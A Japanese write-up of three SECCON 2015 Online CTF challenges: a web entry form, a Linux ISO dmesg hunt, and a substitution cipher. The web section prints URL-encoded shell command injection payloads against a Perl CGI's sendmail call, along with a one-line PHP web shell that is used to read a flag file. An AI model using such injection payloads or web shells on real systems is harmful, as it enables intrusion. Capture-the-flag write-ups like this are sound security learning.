SECCON 2015 Online CTF
2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。
読み方
- SECCON
- せくこん
目次
概要
Web/Network 100: Entry form
問題は、以下のとおりです。
http://entryform.pwn.seccon.jp/register.cgi ( Do not use your real mail address.) (登録情報に他人に知られたくないメールアドレスは使用しないでください)
http://entryform.pwn.seccon.jp/register.cgi
にアクセスします。パスからもわかりますが、CGIが動いてます。 パラメータを弄くって、なにかするんだろ、と思いました。
メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。
途方にくれていましたが、
http://entryform.pwn.seccon.jp/register.cgi
のディレクトリを漁ることになりました。
http://entryform.pwn.seccon.jp/
を見てみると
SECRETS register.cgi register.cgi_bak logo.png
などのファイルがありました。
register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。
ソースコードをながめていると FLAG HERE というコメントがあります。
if($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n"; close(SH); open(LOG, ">>log"); ### <-- FLAG HERE ###
log というファイルに FLAG があるようです。
open 関数に、コマンドを流し込めば、なんとかできそうに見えます。
cat log
みたいなコマンドラインが突っ込めるとよさそうです。
register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。
?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send
みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。
total 8 -r--r--r-- 1 root root 42 Dec 1 21:52 backdoor123.php -r--r--r-- 1 root root 19 Dec 1 21:52 index.html
backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。
$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"<?php system($_GET['cmd']); ?>
つまり、PHPのソースコードは以下のとおりです。
UNIQb18054b91187e8e5-pre-00000005-QINU
ここまでくれば、問題が解けそうですね。
PHP を利用して、コマンドインジェクションしてみます。 FLAG が入っているとウワサのログ(log)ファイルを確認します。
http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log SECCON{Glory_will_shine_on_you.}
できた!ということで、解けました。
Binary 300: Exec dmesg
問題は、以下のとおりです。
Please find secret message from the iso linux image. image.zip 秘密のメッセージをLinuxのisoイメージの中から見つけてください。 image.zip
Exec dmesgは、 Linux の iso イメージからヒミツのメッセージを見つけてください、という問題です。問題文から dmesg を実行したら良さそうに見えます。
まず、iso イメージのLinuxを起動します。 VMWare Player で新しい仮想マシンを作成して、インストールメディアとして tiny_linux/core-current.iso イメージをマウントして、起動します。
dmesg コマンドを実行してみますが、実行できず、確認できません。
tc@box:~$ dmesg dmesg: applet not found
そこで、以下の手順で FLAG を探します。
$ cat /dev/kmsg | grep SECCON 7,311,180341,-;SECCON{elf32-i386}
これが、FLAGのようです。
/proc/kmsg では、見つかりませんでした。
sudo cat /proc/kmsg
Exercises 50: Last Challenge (Thank you for playing)
暗号の練習問題的な問題です。特に道具は必要はなく、 vim の中で解きました。
ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF} quiz Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: ?????????????????????? There is no bonus in this question
ここを解きます。
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: ??????????????????????
今までの問題で、以下の形式になっていることがわかってます。
Plain: SECCON{______________}
というわけで
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: SECCON{______________}
になるので
A->S }->E F->C D->O N->N E->{ O->}
が自動的に決定しました。 それを当てはめると
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: SECCON{SEE_O_NE___E__}
になります。なんとなく、見えてきてますよね。 SEE YOU ... みたいになりそうです。
ここからは、 ex1 と ex1 の変換を当てはめていくと
SECCON{SEEYOUNEXTYEAR}
となりました。これが答えです。
SEE YOU NEXT YEAR ということで、また来年、というメッセージでした。
関連項目
ツイート